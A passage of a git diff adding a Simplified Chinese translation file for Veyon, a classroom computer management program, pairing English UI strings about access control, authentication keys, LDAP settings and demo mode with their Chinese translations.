successfully. + + + + WindowsServiceControl: the start type of service "%1" could not be changed. + + + + WindowsServiceControl: service "%1" could not be found. + + + + + X11VncConfigurationWidget + + Builtin x11vnc server configuration + + + + Custom x11vnc parameters: + + + + Do not use X Damage extension + + + + diff --git a/translations/zh_CN.ts b/translations/zh_CN.ts new file mode 100644 index 0000000..616ef63 --- /dev/null +++ b/translations/zh_CN.ts @@ -0,0 +1,3930 @@ + + + AboutDialog + + About + 关于 + + + Translation + 翻译 + + + License + 许可 + + + About Veyon + 关于 Veyon + + + Contributors + 贡献者 + + + Version: + 版本: + + + Website: + 主页: + + + Current language not translated yet (or native English). + +If you're interested in translating Veyon into your local or another language or want to improve an existing translation, please contact a Veyon developer! + 当前语言还未翻译(或者是英文母语)。 + +如果您对翻译 Veyon 感兴趣,或者想改进当前的翻译,请联系 Veyon 开发者! + + + About %1 %2 + 关于 %1 %2 + + + Support Veyon project with a donation + 捐赠 Veyon 项目 + + + + AccessControlPage + + Computer access control + 计算机访问控制 + + + Grant access to every authenticated user (default) + 允许任何方式通过验证的用户访问(默认) + + + Test + 测试 + + + Restrict access to members of certain user groups + 限制访问某些用户组的成员 + + + Process access control rules + 处理访问控制规则 + + + User groups authorized for computer access + 验证通过允许访问的用户组 + + + Please add the groups whose members should be authorized to access computers in your Veyon network. + 请将允许访问计算机的成员所在的组,添加到 Veyon 网络中 + + + Authorized user groups + 通过验证的用户组 + + + All groups + 所有群组 + + + ... + ... + + + Access control rules + 访问控制规则 + + + Add access control rule + 添加访问控制规则 + + + Remove access control rule + 远程访问控制规则 + + + Move selected rule down + 下移选中的规则 + + + Move selected rule up + 上移选中的规则 + + + Edit selected rule + 编辑选中的规则 + + + Enter username + 请输入用户名 + + + Please enter a user login name whose access permissions to test: + 请输入一个登陆用户名,用于测试访问权限: + + + Access allowed + 允许访问 + + + The specified user is allowed to access computers with this configuration. + 指定的用户允许使用此配置访问计算机 + + + Access denied + 拒绝访问 + + + The specified user is not allowed to access computers with this configuration. + 指定的用户不允许使用此配置访问计算机。 + + + Enable usage of domain groups + 允许使用域组(domain groups) + + + User groups backend: + 用户组后端: + + + Missing user groups backend + 缺少用户组后端 + + + No default user groups plugin was found. Please check your installation! + 没有找到默认的用户组插件,请检查您的安装程序! + + + + AccessControlRuleEditDialog + + Edit access control rule + 编辑访问控制规则 + + + General + 常规 + + + enter a short name for the rule here + 请为这里的规则输入一个短名称 + + + Rule name: + 规则名称: + + + enter a description for the rule here + 输入规则的描述 + + + Rule description: + 规则描述: + + + Invert all conditions ("is/has" interpreted as "is/has not") + 反转所有条件(“是/有”变成“否/没有”) + + + Conditions + 条件 + + + is member of group + 是组成员 + + + is located in room + 位于教室内 + + + Accessing computer is localhost + 正在访问局域网中的计算机 + + + Accessing user is logged on user + 访问的用户已登录 + + + Accessing user is already connected + 访问的用户已连接 + + + If more than one condition is activated each condition has to meet in order to make the rule apply (logical AND). If only one of multiple conditions has to meet (logical OR) please create multiple access control rules. + 如果激活多个条件,则必须满足每个条件才能适用规则(逻辑与)。 如果只需满足多个条件中的一个,(逻辑或),请创建多个访问控制规则。 + + + Action + 动作 + + + Allow access + 允许访问 + + + Deny access + 拒绝访问 + + + Ask logged on user for permission + 询问登录用户的权限 + + + None (rule disabled) + 无(规则被禁用) + + + Accessing user + 访问用户 + + + Accessing computer + 访问计算机 + + + Local (logged on) user + 本地(登录)用户 + + + Local computer + 本地计算机 + + + Always process rule and ignore conditions + 总是按规则运行并忽略条件 + + + No user logged on + 没有用户登录 + + + Accessing computer is located in the same room as local computer + 访问计算机作为本地计算机位于同一个教室内 + + + Accessing user has one or more groups in common with local (logged on) user + 访问用户有一个或多个与本地(登录)用户相同的组 + + + + AccessControlRulesTestDialog + + Access control rules test + 访问控制规则测试 + + + Accessing user: + 访问用户: + + + Local computer: + 本地计算机: + + + Accessing computer: + 访问计算机: + + + Please enter the following user and computer information in order to test the configured ruleset. + 请输入以下用户和计算机信息以测试配置的规则。 + + + Local user: + 本地用户: + + + Connected users: + 连接用户: + + + The access in the given scenario is allowed. + 允许指定场景中的访问。 + + + The access in the given scenario is denied. + 拒绝指定场景中的访问。 + + + The access in the given scenario needs permission of the logged on user. + 指定场景中的访问需要登录用户的权限。 + + + ERROR: Unknown action + 错误:未知的操作 + + + Test result + 测试规则 + + + + AuthKeysConfigurationPage + + Authentication keys + 验证密钥 + + + Introduction + 介绍 + + + Key file directories + 密钥文件目录 + + + Public key file base directory + 公钥文件主目录 + + + Private key file base directory + 私钥文件主目录 + + + ... + ... + + + Available authentication keys + 可用的验证密钥 + + + Create key pair + 创建密钥对 + + + Delete key + 删除密钥 + + + Import key + 导入密钥 + + + Export key + 导出密钥 + + + Set access group + 设置访问组 + + + Key files (*.pem) + 密钥文件 (*.pem) + + + Authentication key name + 密钥文件名 + + + Please enter the name of the user group or role for which to create an authentication key pair: + 请输入要为其创建验证密钥对的用户组或角色的名称: + + + Do you really want to delete authentication key "%1/%2"? + 您真的要删除密钥 "%1/%2"? + + + Please select a key to delete! + 请选择要删除的密钥! + + + Please enter the name of the user group or role for which to import the authentication key: + 请输入要为其导入身份验证密钥的用户组或角色的名称: + + + Please select a key to export! + 请选择要导出的密钥! + + + Please select a user group which to grant access to key "%1": + 请选择一个授权访问密钥 "%1" 的用户组: + + + Please select a key which to set the access group for! + 请选择一个用于访问组的的密钥! + + + Please perform the following steps to set up key file authentication: + 请按以下步骤设置密钥文件认证: + + + 1) Create a key pair on the master computer. + 1)在主计算机上创建密钥对。 + + + 2) Set an access group whose members should be allowed to access other computers. + 2)设置一个访问组,其成员应该被允许访问其他计算机。 + + + 3) Export the public key and import it on all client computers with the same name. + 3)将公钥其导入到具有相同名称的所有客户端计算机上。 + + + Please refer to the <a href="https://veyon.readthedocs.io/en/latest/admin/index.html">Veyon Administrator Manual</a> for more information. + 请访问链接 <a href="https://veyon.readthedocs.io/en/latest/admin/index.html">Veyon 管理员手册</a> 以获得更多信息。 + + + An authentication key pair consist of two coupled cryptographic keys, a private and a public key. +A private key allows users on the master computer to access client computers. +It is important that only authorized users have read access to the private key file. +The public key is used on client computers to authenticate incoming connection request. + 密钥包括两部分,私钥和公钥。 +私钥允许主机上的用户访问客户机。 +重要:只有经过验证的用户才可以读取私钥文件。 +公钥存放于客户端电脑,用以验证前来访问的请求。 + + + + + AuthKeysManager + + Please check your permissions. + 请检查您的权限。 + + + Key name contains invalid characters! + 密钥文件名包含非法字符! + + + Invalid key type specified! Please specify "%1" or "%2". + 指定的密钥类型无效! 请指定 "%1" 或者 "%2". + + + Specified key does not exist! Please use the "list" command to list all installed keys. + 指定的密钥不存在! 请使用“list”命令列出所有已安装的密钥。 + + + One or more key files already exist! Please delete them using the "delete" command. + 一个或多个密钥文件已经存在! 请使用“delete”命令删除它们。 + + + Creating new key pair for "%1" + 创建新的密钥对 "%1" + + + Failed to create public or private key! + 创建公钥/私钥失败! + + + Newly created key pair has been saved to "%1" and "%2". + 新建的密钥对已经保存为 "%1" 和 "%2"。 + + + Could not remove key file "%1"! + 不能删除密钥文件 "%1" ! + + + Could not remove key file directory "%1"! + 不能删除密钥文件夹 "%1" ! + + + Failed to create directory for output file. + 创建输出文件夹失败。 + + + File "%1" already exists. + 文件 "%1" 已经存在。 + + + Failed to write output file. + 写入文件失败。 + + + Key "%1/%2" has been exported to "%3" successfully. + 密钥 "%1/%2" 已经成功导出为 "%3" 。 + + + Failed read input file. + 读取输入文件失败。 + + + File "%1" does not contain a valid private key! + "%1" 文件,不包含可用的密钥! + + + File "%1" does not contain a valid public key! + "%1" 文件,不包含可用的公钥! + + + Failed to create directory for key file. + 创建密钥文件夹失败。 + + + Failed to write key file "%1". + 写入密钥文件 "%1" 失败。 + + + Failed to set permissions for key file "%1"! + 设置密钥文件 "%1" 权限失败! + + + Key "%1/%2" has been imported successfully. Please check file permissions of "%3" in order to prevent unauthorized accesses. + 密钥 "%1/%2" 已经成功导入,请检查 "%3" 文件权限,以防止未授权的访问。 + + + Failed to convert private key to public key + 转换私钥到公钥失败 + + + Failed to create directory for private key file "%1". + 为 "%1" 私钥文件创建文件夹失败。 + + + Failed to save private key in file "%1"! + 保存 "%1" 私钥文件失败! + + + Failed to set permissions for private key file "%1"! + 设置私钥文件 "%1" 权限失败! + + + Failed to create directory for public key file "%1". + 为公钥文件 "%1" 创建文件夹失败。 + + + Failed to save public key in file "%1"! + 保存公钥文件 "%1" 失败! + + + Failed to set permissions for public key file "%1"! + 为公钥文件 "%1" 设置权限失败! + + + Failed to set owner of key file "%1" to "%2". + 设置密钥文件所有者从 "%1" 到 "%2" 失败。 + + + Failed to set permissions for key file "%1". + 设置密钥文件 "%1" 权限失败。 + + + Key "%1" is now accessible by user group "%2". + 用户组 "%2" 现在可以访问密钥 "%1" 。 + + + <N/A> + <N/A> + + + Failed to read key file. + 读取密钥文件失败。 + + + + AuthKeysPlugin + + Create new authentication key pair + 创建新的密钥对 + + + Delete authentication key + 删除验证密钥 + + + List authentication keys + 列出验证密钥 + + + Import public or private key + 导入公钥或私钥 + + + Export public or private key + 导出公钥或私钥 + + + Extract public key from existing private key + 从现有私钥中提取公钥 + + + Set user group allowed to access a key + 设置用户组允许访问密钥 + + + KEY + 密钥 + + + ACCESS GROUP + 访问用户组 + + + This command adjusts file access permissions to <KEY> such that only the user group <ACCESS GROUP> has read access to it. + 此命令将文件访问权限调整为 <KEY> 以便只有用户组 <ACCESS GROUP> 能够读取并访问它。 + + + NAME + NAME + + + This command creates a new authentication key pair with name <NAME> and saves private and public key to the configured key directories. + 这个命令创建一个新的密钥对,名称为 <NAME> ,保存在配置密钥的文件夹里。 + + + This command deletes the authentication key <KEY> from the configured key directory. Please note that a key can't be recovered once deleted. + 该命令从配置的密钥目录中删除认证密钥 <KEY> 。 请注意,密钥一旦删除就无法恢复。 + + + FILE + FILE + + + This command exports the authentication key <KEY> to <FILE>. If <FILE> is not specified a name will be constructed from name and type of <KEY>. + 此命令导出验证密钥 <KEY> 到 <FILE> 。如果 <FILE> 没有指定名称,将会从 <KEY> 的名称和类型构建。 + + + This command imports the authentication key <KEY> from <FILE>. If <FILE> is not specified a name will be constructed from name and type of <KEY>. + 此命令从验证密钥 <FILE> 导入 <KEY> 。如果 <FILE> 没有指定名称,将从 <KEY> 的名称和类型创建。 + + + This command lists all available authentication keys in the configured key directory. If the option "%1" is specified a table with key details will be displayed instead. Some details might be missing if a key is not accessible e.g. due to the lack of read permissions. + 此命令列出配置的密钥目录中的所有可用身份验证密钥。 如果指定了选项 "%1" ,则会显示包含密钥详细信息的表格。 如果无法访问密钥,某些细节可能会丢失,例如,没有读取权限。 + + + This command extracts the public key part from the private key <KEY> and saves it as the corresponding public key. + 此命令从私钥 <KEY> 中提取公钥部分并将其保存为相应的公钥。 + + + Please specify the command to display help for! + 请指定需要显示用法命令! + + + TYPE + TYPE + + + PAIR ID + PAIR ID + + + Command line support for managing authentication keys + 用于管理认证密钥的命令行支持 + + + Commands for managing authentication keys + 管理身份验证密钥的命令 + + + + AuthKeysTableModel + + Name + 名称 + + + Type + 类型 + + + Access group + 访问组 + + + Pair ID + 配对 ID + + + + BuiltinDirectoryConfigurationPage + + Rooms & computers + 教室和计算机 + + + Rooms + 教室 + + + Computers + 计算机 + + + Name + 名称 + + + Host address/IP + 主机 IP 地址 + + + MAC address + MAC 地址 + + + Add new room + 添加新教室 + + + Remove selected room + 删除选中的教室 + + + Add new computer + 添加新计算机 + + + Remove selected computer + 删除选中的计算机 + + + New room + 新教室 + + + New computer + 新计算机 + + + Builtin directory + 内置目录 + + + + BuiltinDirectoryPlugin + + Show help for specific command + 为指定的命令显示帮助 + + + Add a room or computer + 添加一个新教室或计算机 + + + Clear all rooms and computers + 清除所有教室和计算机 + + + Dump all or individual rooms and computers + 转储全部或单独的教室和计算机 + + + List all rooms and computers + 列出所有教室和计算机 + + + Remove a room or computer + 移除一个教室或计算机 + + + Import objects from given file + 从给定的文件导入对象 + + + Export objects to given file + 导出对象到指定的文件 + + + Invalid type specified. Valid values are "%1" or "%2". + 指定的类型无效,有效值是 "%1" 或 "%2"。 + + + Type + 类型 + + + Name + 名称 + + + Host address + 主机地址 + + + MAC address + MAC 地址 + + + Specified object not found. + 未找到指定的对象。 + + + File "%1" does not exist! + 文件 "%1" 不存在! + + + Can't open file "%1" for reading! + 无法打开用于读取的文件 "%1" ! + + + Unknown argument "%1". + 未知参数 "%1"。 + + + Room "%1" + 教室 "%1" + + + Computer "%1" (host address: "%2" MAC address: "%3") + 计算机 "%1" (主机地址: "%2" MAC 地址: "%3") + + + Unclassified object "%1" with ID "%2" +  ID 为 "%2" 的未分类对象 "%1" + + + None + 无 + + + Room + 教室 + + + Computer + 计算机 + + + Root + Root + + + Invalid + 无效 + + + Error while parsing line %1. + 解析行 %1 时出错。 + + + Network object directory which stores objects in local configuration + 网络对象目录,用于存储本地配置的对象 + + + Builtin (computers and rooms in local configuration) + 内置(电脑和教室都在本地配置) + + + Commands for managing the builtin network object directory + 管理内置网络对象目录的命令 + + + No format string or regular expression specified! + 没有指定格式字符串或正则表达式! + + + Can't open file "%1" for writing! + 不能打开要写入的文件e "%1"! + + + No format string specified! + 没有指定格式字符串! + + + +USAGE + +%1 export <FILE> [room <ROOM>] [format <FORMAT-STRING-WITH-VARIABLES>] + +Valid variables: %type% %name% %host% %mac% %room% + +Examples: + +* Export all objects to a CSV file: + + %1 export objects.csv format "%type%;%name%;%host%;%mac%" + +* Export all computers in a room to a CSV file: + + %1 export computers.csv room "Room 01" format "%name%;%host%;%mac%" + + + +用法 + +%1 export <FILE> [room <ROOM>] [format <FORMAT-STRING-WITH-VARIABLES>] + +可用变量: %type% %name% %host% %mac% %room% + +范例: + +* 导出所有对象到一个 CSV 文件: + + %1 export objects.csv format "%type%;%name%;%host%;%mac%" + +* 导出一个教室里的所有计算机到一个 CSV 文件: + + %1 export computers.csv room "Room 01" format "%name%;%host%;%mac%" + + + + + +USAGE + +%1 add <TYPE> <NAME> [<HOST ADDRESS> <MAC ADDRESS> <PARENT>] + +Adds an object where TYPE can be one of "%2" or "%3". PARENT can be specified by name or UUID. + +Examples: + +* Add a room: + + %1 add room "Room 01" + +* Add a computer to room "Room 01": + + %1 add computer "Computer 01" comp01.example.com 11:22:33:44:55:66 "Room 01" + + + +用法 + +%1 add <TYPE> <NAME> [<HOST ADDRESS> <MAC ADDRESS> <PARENT>] + +添加一个对象,其中 TYPE 可以是 "%2" 或 "%3" 之一。PARENT 可以通过名称或 UUID 指定。 +范例: + +* 添加一个教室: + + %1 add room "Room 01" + +* 添加一个计算机到 "Room 01": + + %1 add computer "Computer 01" comp01.example.com 11:22:33:44:55:66 "Room 01" + + + + + +USAGE + +%1 remove <OBJECT> + +Removes the specified object from the directory. OBJECT can be specified by name or UUID. Removing a room will also remove all computers inside. + +Examples: + +* Remove a computer by name: + + %1 remove "Computer 01" + +* Remove an object by UUID: + + %1 remove 068914fc-0f87-45df-a5b9-099a2a6d9141 + + + +用法 + +%1 remove <OBJECT> + +从目录中删除指定的对象。OBJECT 可以由名称或 UUID 指定。删除一个教室也会删除其中的所有计算机。 + +范例: + +* 通过名称删除计算机: + + %1 remove "Computer 01" + +* 通过 UUID 删除一个对象: + + %1 remove 068914fc-0f87-45df-a5b9-099a2a6d9141 + + + + + Object UUID + 对象的 UUID + + + Parent UUID + Parent UUID + + + +USAGE + +%1 import <FILE> [room <ROOM>] [format <FORMAT-STRING-WITH-VARIABLES>] [regex <REGULAR-EXPRESSION-WITH-VARIABLES>] + +Valid variables: %type% %name% %host% %mac% %room% + +Examples: + +* Import simple CSV file to a single room: + + %1 import computers.csv room "Room 01" format "%name%;%host%;%mac%" + +* Import CSV file with room name in first column: + + %1 import computers-with-rooms.csv format "%room%,%name%,%mac%" + +* Import text file with with key/value pairs using regular expressions: + + %1 import hostlist.txt room "Room 01" regex "^NAME:(%name%:.*)\s+HOST:(%host%:.*)$" + +* Import arbitrarily formatted data: + + %1 import data.txt regex '^"(%room%:[^"]+)";"(%host%:[a-z\d\.]+)".*$' + + +用法: + +%1 import <FILE> [room <ROOM>] [format <FORMAT-STRING-WITH-VARIABLES>] [regex <REGULAR-EXPRESSION-WITH-VARIABLES>] + +可用的变量: %type% %name% %host% %mac% %room% + +范例: + +* 将简单的 CSV 文件导入单个教室: + + %1 import computers.csv room "Room 01" format "%name%;%host%;%mac%" + +* 导入在第一列中带有房间名称的 CSV 文件: + + %1 import computers-with-rooms.csv format "%room%,%name%,%mac%" + +* 使用正则表达式导入带有键/值对的文本文件: + + %1 import hostlist.txt room "Room 01" regex "^NAME:(%name%:.*)\s+HOST:(%host%:.*)$" + +*导入任意格式的数据: + + %1 import data.txt regex '^"(%room%:[^"]+)";"(%host%:[a-z\d\.]+)".*$' + + + + + BuiltinUltraVncServer + + Builtin VNC server (UltraVNC) + 内置 VNC 服务 (UltraVNC) + + + + BuiltinX11VncServer + + Builtin VNC server (x11vnc) + 内置 VNC 服务 (x11vnc) + + + + ComputerControlListModel + + Room: %1 + 教室: %1 + + + Host/IP address: %1 + 主机/IP 地址: %1 + + + Active features: %1 + 激活的功能: %1 + + + Online and connected + 在线并已连接 + + + Establishing connection + 正在建立连接 + + + Computer offline or switched off + 计算机离线或者已关机 + + + Service unreachable or not running + 服务无法访问或未运行 + + + Authentication failed or access denied + 验证失败或访问被拒绝 + + + Disconnected + 已断开 + + + No user logged on + 没有用户登录 + + + Logged on user: %1 + 登录用户: %1 + + + + ComputerControlServer + + %1 Service %2 at %3:%4 + %1 服务 %2 在 %3:%4 + + + Authentication error + 验证错误 + + + Remote access + 远程访问 + + + User "%1" at host "%2" is now accessing this computer. + "%2" 主机上的用户 "%1" 正在访问这台计算机。 + + + User "%1" at host "%2" attempted to access this computer but could not authenticate successfully! + 主机 "%2" 上的用户 "%1" 尝试访问此计算机但没有通过身份验证! + + + + ComputerManagementView + + Computer management + 计算机管理 + + + Add room + 添加教室 + + + Save computer/user list + 保存计算机/用户列表 + + + Select output filename + 选择输出文件名 + + + CSV files (*.csv) + CSV 文件 (*.csv) + + + File error + 文件错误 + + + Could not write the computer and users list to %1! Please check the file access permissions. + 无法将计算机和用户列表写入 %1!请检查文件访问权限。 + + + Computer search + 搜索计算机 + + + + ComputerManager + + User + 用户 + + + Missing network object directory plugin + 缺少网络对象目录插件 + + + No default network object directory plugin was found. Please check your installation or configure a different network object directory backend via %1 Configurator. + 没有找到默认的网络对象目录插件。请检查您的安装或通过 %1 配置器配置不同的网络对象目录后端。 + + + Computer name;Host name;User + 计算机名称;主机名;用户 + + + Room detection failed + 教室检测失败 + + + Could not determine the room which this computer belongs to. This indicates a problem with the system configuration. All rooms will be shown in the computer management instead. + 无法确定此计算机所属的教室。这表明系统配置存在问题。所有教室都将显示在计算机管理中。 + + + + ConfigCommandLinePlugin + + Please specify an existing configuration file to import. + 请指定要导入的配置文件。 + + + Please specify a valid filename for the configuration export. + 请为导出的配置指定一个有效的文件名。 + + + Please specify a valid key. + 请指定一个有效的密钥。 + + + Specified key does not exist in current configuration! + 指定的密钥在当前配置中不存在! + + + Please specify a valid value. + 请指定一个有效的值。 + + + Configure Veyon at command line + 在命令行配置 + + + Output file is not writable! + 输出文件不可写! + + + Output directory is not writable! + 输出目录不可写! + + + Configuration file is not readable! + 配置文件不可读! + + + Clear system-wide Veyon configuration + 清除系统级别 Veyon 配置 + + + List all configuration keys and values + 列出所有配置密钥和值 + + + Import configuration from given file + 从给定的文件导入配置 + + + Export configuration to given file + 导出配置到指定的文件 + + + Read and output configuration value for given key + 读取并输出配置值给指定的密钥 + + + Write given value to given configuration key + 将给定的值写入给定的配置密钥 + + + Unset (remove) given configuration key + 取消设置(移除)给定的配置密钥 + + + Commands for managing the configuration of Veyon + 管理 Veyon 配置的命令 + + + Upgrade and save configuration of program and plugins + 升级并保存程序和插件的配置 + + + + ConfigurationManager + + Could not modify the autostart property for the %1 Service. + 无法修改 %1 服务的自启动属性。 + + + Could not configure the firewall configuration for the %1 Server. + 无法为 %1 服务配置防火墙配置。 + + + Could not configure the firewall configuration for the %1 Worker. + 无法为 %1 程序配置防火墙配置。 + + + Could not change the setting for SAS generation by software. Sending Ctrl+Alt+Del via remote control will not work! + 无法通过软件更改 SAS 生成的设置。通过远程控制发送 Ctrl+Alt+Del 将不起作用! + + + Configuration is not writable. Please check your permissions! + 配置不可写,请检查您的权限! + + + + DemoClient + + %1 Demo + %1 演示 + + + + DemoConfigurationPage + + Demo server + 演示服务 + + + Tunables + 可调参数 + + + ms + 毫秒 + + + Key frame interval + 关键帧间隔 + + + Memory limit + 内存限制 + + + Use multithreading (experimental) + 使用多线程(实验) + + + MB + MB + + + Update interval + 更新间隔 + + + s + s + + + + DemoFeaturePlugin + + Fullscreen demo + 全屏演示 + + + Stop demo + 停止演示 + + + Window demo + 窗口演示 + + + Give a demonstration by screen broadcasting + 通过屏幕广播进行演示 + + + Demo server + 演示服务 + + + In this mode your screen is being displayed in fullscreen mode on all computers while input devices of the users are locked. + 在此模式下,您的屏幕将以全屏模式显示在所有电脑上,用户的输入设备将被锁定。 + + + In this mode your screen being displayed in a window on all computers. The users are able to switch to other windows as needed. + 在此模式下,您的屏幕将作为窗口显示在所有计算机中。用户可以根据需要切换到其他窗口。 + + + + DesktopAccessDialog + + Desktop access dialog + 桌面访问对话框 + + + Confirm desktop access + 确认访问桌面 + + + Never for this session + 从不使用这个会话 + + + Always for this session + 总是使用此会话 + + + The user %1 at computer %2 wants to access your desktop. Do you want to grant access? + 计算机 %2 的用户r %1 想要访问您的桌面,您是否他的允许访问? + + + + DesktopServicesConfigurationPage + + Programs & websites + 程序和网站 + + + Predefined programs + 预定义的程序 + + + Name + 名称 + + + Path + 路径 + + + Add new program + 添加新程序 + + + Remove selected program + 移除选中的程序 + + + Predefined websites + 预定义的网站 + + + Remove selected website + 移除选定的网站 + + + URL + URL + + + New program + 新程序 + + + New website + 新站点 + + + + DesktopServicesFeaturePlugin + + Run program + 运行程序 + + + Open website + 打开网站 + + + Click this button to open a website on all computers. + 点击此按钮,将在所有计算机上打开一个网站 + + + Please enter the URL of the website to open: + 请输入要打开站点的网址: + + + Start programs and services in user desktop + 在用户桌面运行程序和服务 + + + Click this button to run a program on all computers. + 点击此按钮将在所有计算机上运行一个程序。 + + + Run program "%1" + 运行程序 "%1" + + + Custom program + 定制程序 + + + Open website "%1" + 打开站点 "%1" + + + Custom website + 定制站点 + + + + ExternalVncServer + + External VNC server + 外部 VNC 服务 + + + + ExternalVncServerConfigurationWidget + + External VNC server configuration + 外部 VNC 服务配置 + + + Port: + 端口: + + + Password: + 密码: + + + + FeatureControl + + Feature control + 功能控制 + + + + FileTransferController + + Could not open file "%1" for reading! Please check your permissions! + 无法打开文件 "%1" 进行阅读! 请检查你的权限! + + + + FileTransferDialog + + File transfer + 文件传输 + + + Options + 首选项 + + + Transfer only + 仅传输 + + + Transfer and open file(s) with associated program + 传输并用关联的程序打开 + + + Transfer and open destination folder + 传输并打开目标文件夹 + + + Files + 文件 + + + Start + 开始 + + + Overwrite existing files + 覆盖已存在的文件 + + + + FileTransferPlugin + + File transfer + 发布文件 + + + Click this button to transfer files from your computer to all computers. + 单击此按钮可将文件从您的计算机发送到所有计算机。 + + + Select one or more files to transfer + 选择一个或多个要发送的文件 + + + Transfer files to remote computer + 发送文件到远程计算机 + + + Received file "%1". + 接收文件 "%1". + + + Could not receive file "%1" as it already exists. + 不能接收文件 "%1" ,因为它已经存在。 + + + Could not receive file "%1" as it could not be opened for writing! + 不能接收文件 "%1" ,因为它无法写入。 + + + + GeneralConfigurationPage + + User interface + 用户界面 + + + Language: + 语言: + + + Use system language setting + 使用系统语言设置 + + + Veyon + Veyon + + + Logging + 正在登录 + + + Log file directory + 日志文件存放目录 + + + ... + ... + + + Log level + 日志级别 + + + Nothing + 无 + + + Only critical messages + 只记录严重错误信息 + + + Errors and critical messages + 错误和严重错误信息 + + + Warnings and errors + 警告和错误 + + + Information, warnings and errors + 信息、警告和错误 + + + Debug messages and everything else + 调试信息和其他所有信息 + + + Limit log file size + 日志文件限制大小 + + + Clear all log files + 清空所有日志文件 + + + Log to standard error output + 日志显示于标准输出设备(显示器) + + + Network object directory + 网络对象文件夹 + + + Backend: + 后端: + + + Update interval: + 更新频率: + + + %1 service + %1 服务 + + + The %1 service needs to be stopped temporarily in order to remove the log files. Continue? + %1 服务需要停止临时文件夹,以便于移除日志文件,是否继续? + + + Log files cleared + 日志文件已删除 + + + All log files were cleared successfully. + 所有日志文件均已删除成功。 + + + Error + 错误 + + + Could not remove all log files. + 不能删除所有日志文件。 + + + MB + MB + + + Rotate log files + 轮循日志文件 + + + x + x + + + seconds + 秒 + + + Write to logging system of operating system + 写入操作系统的日志记录系统 + + + Authentication + 验证 + + + Method: + 方法: + + + Logon authentication + 登录验证 + + + Key file authentication + 密钥验证 + + + + InternetAccessControlConfigurationPage + + Internet access control + 互联网访问控制 + + + Backend: + 后端: + + + General settings + 常规设置 + + + Backend settings + 后台设置 + + + + InternetAccessControlPlugin + + Block access to the internet + 阻止访问互联网 + + + Allow access to the internet + 允许访问互联网 + + + Show help about command + 显此命令的帮助信息 + + + Block internet + 阻止互联网 + + + Click this button to block access to the internet. + 点击此按钮,阻止访问互联网。 + + + Unblock internet + 取消阻止互联网 + + + Click this button to allow access to the internet. + 点击此按钮,取消阻止访问互联网。 + + + Control access to the internet + 控制访问互联网 + + + Commands for controlling access to the internet + 控制访问互联网的命令 + + + + LdapBrowseDialog + + Browse LDAP + + + + + LdapClient + + LDAP error description: %1 + LDAP错误描述: %1 + + + No LDAP error description available + 没有可用的 LDAP 错误说明 + + + + LdapConfigurationPage + + LDAP + LDAP + + + Basic settings + 基本设置 + + + General + 常规 + + + LDAP server and port + LDAP服务器和端口 + + + Bind DN + Bind DN + + + Bind password + Bind 密码 + + + Anonymous bind + 匿名 bind + + + Use bind credentials + 使用绑定的证书 + + + Test + 测试 + + + Base DN + Base DN + + + Fixed base DN + 固定 base DN + + + e.g. dc=example,dc=org + 例如: dc=example,dc=org + + + Discover base DN by naming context + 通过命名上下文来发现 base DN + + + e.g. namingContexts or defaultNamingContext + 例如, namingContexts 或 defaultNamingContext + + + Environment settings + 环境设置 + + + Object trees + Object trees + + + Computer tree + Computer tree + + + e.g. OU=Groups + 例如: OU=Groups + + + User tree + User tree + + + e.g. OU=Users + 例如: OU=Users + + + e.g. OU=Computers + 例如: OU=Computers + + + Group tree + Group tree + + + Perform recursive search operations in object trees + 在对象树(object trees)中执行递归搜索操作 + + + Object attributes + 对象属性 + + + e.g. hwAddress + 例如: hwAddress + + + Computer host name attribute + 计算机主机名属性 + + + e.g. member or memberUid + 例如 member 或者 memberUid + + + User login attribute + 用户登录属性 + + + e.g. dNSHostName + 例如: dNSHostName + + + Computer MAC address attribute + 计算机 MAC 地址属性 + + + Group member attribute + 组成员属性 + + + e.g. uid or sAMAccountName + 例如: uid 或者 sAMAccountName + + + Host names stored as fully qualified domain names (FQDN, e.g. myhost.example.org) + 主机名称存储为完全限定的域名(FQDN,例如:myhost.example.org) + + + Advanced settings + 高级设置 + + + Optional object filters + 可选对象过滤器 + + + Filter for user groups + 用户组过滤器 + + + Filter for users + 用户过滤器 + + + Filter for computer groups + 计算机组过滤器 + + + Group member identification + 组成员标识 + + + Distinguished name (Samba/AD) + 专有名称 (Samba/AD) + + + Configured attribute for user login or computer host name (OpenLDAP) + 配置用户登录或计算机主机名属性(OpenLDAP) + + + List all groups of a user + 列出一个用户的所有组 + + + List all groups of a computer + 列出一个计算机的所有组 + + + Get computer object by IP address + 通过 IP 地址获取计算机对象 + + + LDAP connection failed + LDAP 连接失败 + + + LDAP bind failed + LDAP 绑定失败 + + + LDAP bind successful + LDAP 绑定成功 + + + Successfully connected to the LDAP server and performed an LDAP bind. The basic LDAP settings are configured correctly. + 成功连接到 LDAP 服务器并执行 LDAP 绑定。 基本的 LDAP 设置配置正确。 + + + LDAP base DN test failed + LDAP 基础 DN 测试失败 + + + LDAP base DN test successful + LDAP 基础 DN 测试通过 + + + LDAP naming context test failed + LDAP 命名上下文测试失败 + + + LDAP naming context test successful + LDAP 命名上下文测试通过 + + + The LDAP naming context has been queried successfully. The following base DN was found: +%1 + LDAP 命名上下文已成功查询。 发现以下基本 DN: +%1 + + + user tree + 用户树 + + + group tree + 组树 + + + computer tree + 计算机树 + + + Enter username + 请输入用户名 + + + Please enter a user login name (wildcards allowed) which to query: + 请输入要查询的用户登录名(允许使用通配符): + + + user objects + 用户对象 + + + user login attribute + 用户登录属性 + + + Enter group name + 输入组名称 + + + Please enter a group name whose members to query: + 请输入要查询其成员的群组名称: + + + group members + 组成员 + + + group member attribute + 组成员属性 + + + Group not found + 未找到组 + + + Could not find a group with the name "%1". Please check the group name or the group tree parameter. + 找不到名称为 "%1" 的组。 请检查组名称或组树参数。 + + + Enter computer name + 输入计算机名称 + + + Please enter a computer host name to query: + 请输入要查询的计算机主机名称: + + + Invalid host name + 错误的主机名 + + + You configured computer host names to be stored as fully qualified domain names (FQDN) but entered a host name without domain. + 您将计算机主机名配置为存储为完全限定的域名(FQDN),但输入的是没有域的主机名。 + + + You configured computer host names to be stored as simple host names without a domain name but entered a host name with a domain name part. + 您将计算机主机名配置为存储没有域名的简单主机名,但输入了带有域名部分的主机名。 + + + computer objects + 计算机对象 + + + computer host name attribute + 计算机主机名属性 + + + Enter computer DN + 输入计算机 + + + Please enter the DN of a computer whose MAC address to query: + 请输入要查询 MAC 地址的计算机的 DN: + + + computer MAC addresses + 计算机 MAC 地址 + + + computer MAC address attribute + 计算机 MAC 地址属性 + + + users + 用户 + + + user groups + 用户组 + + + computer groups + 计算机组 + + + Please enter a user login name whose group memberships to query: + 